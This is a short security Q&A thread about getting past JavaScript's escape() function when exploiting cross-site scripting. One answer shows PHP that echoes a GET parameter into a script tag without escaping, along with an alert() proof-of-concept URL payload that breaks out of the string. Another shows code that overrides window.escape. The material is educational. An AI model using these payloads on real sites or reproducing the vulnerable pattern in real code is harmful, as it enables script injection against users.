3

Is there a way to bypass escape function in javascript for exploiting a XSS vulnerability ?

WxyZ
  • 87
  • 1
  • 2
  • 3
  • Related: http://security.stackexchange.com/q/1327/665 – Hendrik Brummermann Nov 29 '11 at 08:39
  • 3
    What do you mean by ‘bypassing escape function in JavaScript’? – Gumbo Nov 29 '11 at 08:58
  • If you're asking if there's a way to make the escape() function behave differently from how it is intended then this would likely amount of a browser specific vulnerability – Andy Smith Nov 29 '11 at 09:49
  • 1
    I don't think you understand what an XSS vulnerability is. Its not a problem with JavaScript, its a problem with the server side code. (Except for dom based xss, but whatever.) – rook Nov 29 '11 at 18:34

2 Answers2

2

Sure, lets say you have the following PHP code that is vulnerable to XSS:

<?php
print "<script>var t=escape('".$_GET['t']."')</script>";
?>

You can supply this file with the following XSS Prof of Concept to get an alert window:

http://localhost/xss.php?t=');alert('xss');//

rook
  • 46,916
  • 10
  • 92
  • 181
1

If you need to override the escape function for whatever reason (I am assuming an already persistent XSS?) I am pretty sure you can override it by creating an anonymious function similar to this:

(function() {
   window.escape = function() {
      return true;
  };
})();

If however you are looking for general bypassing XSS filters I recommend reading and trying this XSS cheat sheet: http://ha.ckers.org/xss.html

Chris Dale
  • 16,119
  • 10
  • 56
  • 97